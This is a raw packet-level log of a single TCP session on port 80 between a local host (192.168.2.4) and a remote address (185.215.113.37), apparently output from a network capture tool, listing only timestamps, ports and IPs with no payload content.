Oct 1, 2024 06:03:10.162898064 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:10.162918091 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:10.162923098 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:10.162951946 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:10.162960052 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:10.162986040 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:10.162995100 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:10.163017035 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:10.163024902 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:10.163050890 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:10.163058043 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:10.163083076 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:10.163094997 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:10.163115025 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:10.163121939 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:10.163151979 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:10.163160086 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:10.163197041 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:10.248378992 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:10.248424053 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:10.248486996 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:10.287379026 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:10.287492037 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:10.287522078 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:10.287558079 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:10.287585020 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:10.287589073 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:10.287626028 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:10.287671089 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:10.287673950 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:10.287707090 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:10.287715912 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:10.287739992 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:10.287749052 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:10.287774086 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:10.287780046 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:10.287806988 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:10.287812948 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:10.287847996 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:10.287858009 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:10.287889957 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:10.287905931 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:10.287923098 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:10.287933111 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:10.287951946 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:10.287964106 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:10.287996054 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:10.288001060 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:10.288033962 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:10.288043022 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:10.288063049 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:10.288083076 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:10.288111925 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:10.288117886 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:10.288151026 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:10.288156986 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:10.288182020 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:10.288189888 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:10.288218021 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:10.288225889 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:10.288252115 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:10.288259983 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:10.288291931 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:10.288316965 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:10.288346052 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:10.288360119 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:10.288376093 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:10.288392067 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:10.288410902 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:10.288414955 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:10.288439989 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:10.288456917 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:10.288479090 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:10.288491011 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:10.288522959 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:10.288537979 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:10.288552046 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:10.288564920 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:10.288583994 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:10.288592100 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:10.288616896 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:10.288626909 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:10.288646936 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:10.288657904 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:10.288682938 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:10.288685083 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:10.288716078 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:10.288723946 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:10.288748026 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:10.288755894 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:10.288781881 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:10.288789034 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:10.288815022 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:10.288819075 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:10.288846970 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:10.288855076 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:10.288878918 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:10.288887978 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:10.288913012 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:10.288921118 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:10.288945913 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:10.288955927 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:10.288979053 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:10.288988113 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:10.289012909 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:10.289021969 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:10.289047003 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:10.289057016 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:10.289084911 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:10.289086103 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:10.289119005 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:10.289122105 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:10.289150953 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:10.289159060 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:10.289186001 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:10.289195061 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:10.289217949 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:10.289227962 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:10.289251089 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:10.289258957 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:10.289283991 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:10.289289951 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:10.289316893 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:10.289326906 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:10.289349079 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:10.289356947 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:10.289382935 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:10.289388895 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:10.289414883 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:10.289422035 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:10.289448023 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:10.289459944 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:10.289477110 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:10.289490938 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:10.289510012 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:10.289518118 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:10.289546013 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:10.289551020 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:10.289577961 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:10.289588928 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:10.289612055 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:10.289613008 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:10.289644003 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:10.289649010 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:10.289678097 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:10.289680004 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:10.289710999 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:10.289717913 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:10.289743900 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:10.289753914 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:10.289777040 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:10.289784908 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:10.289809942 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:10.289818048 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:10.289843082 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:10.289851904 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:10.289876938 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:10.289885044 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:10.289910078 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:10.289917946 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:10.289946079 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:10.289949894 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:10.289979935 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:10.289988995 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:10.290011883 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:10.290019989 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:10.290051937 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:10.290079117 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:10.290085077 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:10.290086985 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:10.290117025 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:10.290121078 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:10.290150881 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:10.290158987 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:10.290183067 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:10.290198088 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:10.290215969 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:10.290222883 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:10.290249109 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:10.290257931 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:10.290282011 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:10.290287971 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:10.290314913 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:10.290321112 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:10.290348053 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:10.290357113 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:10.290381908 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:10.290395021 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:10.290415049 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:10.290421963 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:10.290451050 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:10.290455103 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:10.290484905 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:10.290491104 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:10.290518999 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:10.290529966 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:10.290551901 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:10.290563107 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:10.290585041 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:10.290610075 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:10.290618896 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:10.290627956 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:10.290651083 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:10.290666103 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:10.290683985 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:10.290690899 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:10.290715933 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:10.290724039 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:10.290750027 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:10.290756941 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:10.290782928 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:10.290791988 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:10.290815115 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:10.290822029 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:10.290848017 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:10.290855885 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:10.290882111 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:10.290890932 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:10.290923119 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:10.410371065 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:10.410453081 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:10.410474062 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:10.410521984 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:10.410528898 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:10.410562038 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:10.410581112 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:10.410607100 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:10.410613060 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:10.410646915 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:10.410659075 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:10.410680056 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:10.410691977 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:10.410696030 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:10.410721064 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:10.410733938 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:10.410742998 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:10.410746098 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:10.410768986 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:10.410773039 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:10.410788059 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:10.410798073 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:10.410800934 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:10.410818100 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:10.410825968 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:10.410831928 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:10.410845995 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:10.410849094 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:10.410861969 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:10.410873890 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:10.410876036 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:10.410892963 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:10.410898924 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:10.410908937 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:10.410917044 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:10.410922050 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:10.410932064 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:10.410942078 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:10.410948038 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:10.410949945 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:10.410960913 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:10.410969973 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:10.410969973 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:10.410980940 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:10.410990000 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:10.410995960 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:10.410999060 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:10.411010027 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:10.411015987 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:10.411026955 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:10.411034107 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:10.411037922 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:10.411048889 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:10.411053896 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:10.411058903 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:10.411070108 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:10.411071062 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:10.411081076 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:10.411088943 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:10.411094904 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:10.411134005 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:10.411137104 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:10.411149025 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:10.411158085 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:10.411158085 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:10.411170006 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:10.411179066 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:10.411180019 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:10.411189079 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:10.411194086 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:10.411200047 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:10.411209106 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:10.411216974 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:10.411221981 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:10.411245108 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:10.411252022 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:10.411253929 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:10.411268950 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:10.411283970 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:10.411293983 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:10.411303043 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:10.411305904 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:10.411314011 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:10.411324024 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:10.411330938 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:10.411335945 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:10.411341906 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:10.411350012 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:10.411350012 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:10.411372900 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:10.411376953 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:10.411393881 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:10.411420107 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:10.411425114 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:10.411436081 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:10.411439896 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:10.411442041 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:10.411457062 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:10.411464930 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:10.411479950 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:10.411489964 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:10.411499977 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:10.411504030 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:10.411511898 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:10.411559105 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:10.411586046 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:10.411595106 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:10.411602974 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:10.411609888 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:10.411612034 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:10.411623001 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:10.411643028 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 1, 2024 06:03:10.411652088 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 1, 2024 06:03:10.411662102 CEST	80	49730	185.215.113.37	192.168.2.4
